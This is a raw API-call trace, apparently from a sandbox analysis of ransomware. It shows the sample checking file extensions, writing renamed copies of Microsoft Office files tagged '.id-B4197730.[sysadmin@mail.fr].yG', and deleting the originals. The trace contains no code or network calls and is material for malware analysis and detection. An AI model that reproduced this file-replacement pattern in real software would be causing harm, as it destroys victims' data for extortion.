	[0051.377] lstrlenW (lpString=".bz2") returned 4
	[0051.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.377] lstrlenW (lpString=".7z") returned 3
	[0051.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.377] lstrlenW (lpString=".dbf") returned 4
	[0051.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.377] lstrlenW (lpString=".1cd") returned 4
	[0051.377] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0051.377] lstrlenW (lpString=".jpg") returned 4
	[0051.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.377] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0051.377] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25
	[0051.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.378] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=9831) returned 1
	[0051.378] CloseHandle (hObject=0x2e4) returned 1
	[0051.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220
	[0051.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.378] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.378] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.521] GetLastError () returned 0x0
	[0051.521] ReadFile (in: hFile=0x2e4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x2667, lpOverlapped=0x0) returned 1
	[0051.559] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x2670, lpOverlapped=0x0) returned 1
	[0051.560] ReadFile (in: hFile=0x2e4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.560] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x106, lpOverlapped=0x0) returned 1
	[0051.560] SetEndOfFile (hFile=0x34c) returned 1
	[0051.560] CloseHandle (hObject=0x34c) returned 1
	[0051.561] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.561] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.562] CloseHandle (hObject=0x2e4) returned 1
	[0051.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1
	[0051.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.563] lstrlenW (lpString=".doc") returned 4
	[0051.563] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.563] lstrlenW (lpString=".docx") returned 5
	[0051.563] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0051.563] lstrlenW (lpString=".pdf") returned 4
	[0051.563] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.563] lstrlenW (lpString=".xls") returned 4
	[0051.563] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.563] lstrlenW (lpString=".xlsx") returned 5
	[0051.563] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0051.563] lstrlenW (lpString=".ppt") returned 4
	[0051.563] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.563] lstrlenW (lpString=".zip") returned 4
	[0051.563] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.563] lstrlenW (lpString=".rar") returned 4
	[0051.563] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.563] lstrlenW (lpString=".bz2") returned 4
	[0051.563] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.564] lstrlenW (lpString=".7z") returned 3
	[0051.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.564] lstrlenW (lpString=".dbf") returned 4
	[0051.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.564] lstrlenW (lpString=".1cd") returned 4
	[0051.564] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.564] lstrlenW (lpString=".jpg") returned 4
	[0051.564] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.564] lstrlenW (lpString=".doc") returned 4
	[0051.564] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.564] lstrlenW (lpString=".docx") returned 5
	[0051.564] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0051.564] lstrlenW (lpString=".pdf") returned 4
	[0051.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.564] lstrlenW (lpString=".xls") returned 4
	[0051.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.564] lstrlenW (lpString=".xlsx") returned 5
	[0051.564] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0051.564] lstrlenW (lpString=".ppt") returned 4
	[0051.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.564] lstrlenW (lpString=".zip") returned 4
	[0051.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.565] lstrlenW (lpString=".rar") returned 4
	[0051.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.565] lstrlenW (lpString=".bz2") returned 4
	[0051.565] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.565] lstrlenW (lpString=".7z") returned 3
	[0051.565] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.565] lstrlenW (lpString=".dbf") returned 4
	[0051.565] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.565] lstrlenW (lpString=".1cd") returned 4
	[0051.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0051.565] lstrlenW (lpString=".jpg") returned 4
	[0051.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.565] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.565] lstrlenW (lpString="AG00037_.GIF") returned 12
	[0051.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.566] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=6684) returned 1
	[0051.566] CloseHandle (hObject=0x2e4) returned 1
	[0051.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220
	[0051.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.566] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.566] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.566] GetLastError () returned 0x0
	[0051.566] ReadFile (in: hFile=0x2e4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1a1c, lpOverlapped=0x0) returned 1
	[0051.626] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1a20, lpOverlapped=0x0) returned 1
	[0051.627] ReadFile (in: hFile=0x2e4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.627] WriteFile (in: hFile=0x34c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.627] SetEndOfFile (hFile=0x34c) returned 1
	[0051.627] CloseHandle (hObject=0x34c) returned 1
	[0051.628] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.628] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.629] CloseHandle (hObject=0x2e4) returned 1
	[0051.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1
	[0051.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.629] lstrlenW (lpString=".doc") returned 4
	[0051.629] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.629] lstrlenW (lpString=".docx") returned 5
	[0051.629] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.629] lstrlenW (lpString=".pdf") returned 4
	[0051.629] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.630] lstrlenW (lpString=".xls") returned 4
	[0051.630] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.630] lstrlenW (lpString=".xlsx") returned 5
	[0051.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.630] lstrlenW (lpString=".ppt") returned 4
	[0051.630] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.630] lstrlenW (lpString=".zip") returned 4
	[0051.630] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.630] lstrlenW (lpString=".rar") returned 4
	[0051.630] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.630] lstrlenW (lpString=".bz2") returned 4
	[0051.630] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.630] lstrlenW (lpString=".7z") returned 3
	[0051.630] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.630] lstrlenW (lpString=".dbf") returned 4
	[0051.630] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.630] lstrlenW (lpString=".1cd") returned 4
	[0051.630] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.630] lstrlenW (lpString=".jpg") returned 4
	[0051.630] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.630] lstrlenW (lpString=".doc") returned 4
	[0051.630] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.630] lstrlenW (lpString=".docx") returned 5
	[0051.630] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.630] lstrlenW (lpString=".pdf") returned 4
	[0051.630] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.630] lstrlenW (lpString=".xls") returned 4
	[0051.630] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.630] lstrlenW (lpString=".xlsx") returned 5
	[0051.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.630] lstrlenW (lpString=".ppt") returned 4
	[0051.631] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.631] lstrlenW (lpString=".zip") returned 4
	[0051.631] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.631] lstrlenW (lpString=".rar") returned 4
	[0051.631] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.631] lstrlenW (lpString=".bz2") returned 4
	[0051.631] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.631] lstrlenW (lpString=".7z") returned 3
	[0051.631] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.631] lstrlenW (lpString=".dbf") returned 4
	[0051.631] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.631] lstrlenW (lpString=".1cd") returned 4
	[0051.631] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0051.631] lstrlenW (lpString=".jpg") returned 4
	[0051.631] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.631] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.631] lstrlenW (lpString="AG00090_.GIF") returned 12
	[0051.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.656] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=517) returned 1
	[0051.656] CloseHandle (hObject=0x394) returned 1
	[0051.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220
	[0051.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.657] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.657] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.658] GetLastError () returned 0x0
	[0051.658] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x205, lpOverlapped=0x0) returned 1
	[0051.658] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x210, lpOverlapped=0x0) returned 1
	[0051.659] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.659] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.662] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.662] CloseHandle (hObject=0x2e0) returned 1
	[0051.663] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.663] SetEndOfFile (hFile=0x394) returned 1
	[0051.667] CloseHandle (hObject=0x394) returned 1
	[0051.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1
	[0051.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.667] lstrlenW (lpString=".doc") returned 4
	[0051.667] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.667] lstrlenW (lpString=".docx") returned 5
	[0051.668] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.668] lstrlenW (lpString=".pdf") returned 4
	[0051.668] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.668] lstrlenW (lpString=".xls") returned 4
	[0051.668] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.668] lstrlenW (lpString=".xlsx") returned 5
	[0051.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.668] lstrlenW (lpString=".ppt") returned 4
	[0051.668] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.668] lstrlenW (lpString=".zip") returned 4
	[0051.668] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.668] lstrlenW (lpString=".rar") returned 4
	[0051.668] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.668] lstrlenW (lpString=".bz2") returned 4
	[0051.668] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.668] lstrlenW (lpString=".7z") returned 3
	[0051.668] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.668] lstrlenW (lpString=".dbf") returned 4
	[0051.668] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.668] lstrlenW (lpString=".1cd") returned 4
	[0051.668] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.668] lstrlenW (lpString=".jpg") returned 4
	[0051.668] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.668] lstrlenW (lpString=".doc") returned 4
	[0051.668] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.668] lstrlenW (lpString=".docx") returned 5
	[0051.668] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.668] lstrlenW (lpString=".pdf") returned 4
	[0051.668] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.668] lstrlenW (lpString=".xls") returned 4
	[0051.668] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.669] lstrlenW (lpString=".xlsx") returned 5
	[0051.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.669] lstrlenW (lpString=".ppt") returned 4
	[0051.669] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0051.669] lstrlenW (lpString=".zip") returned 4
	[0051.669] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.669] lstrlenW (lpString=".rar") returned 4
	[0051.669] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
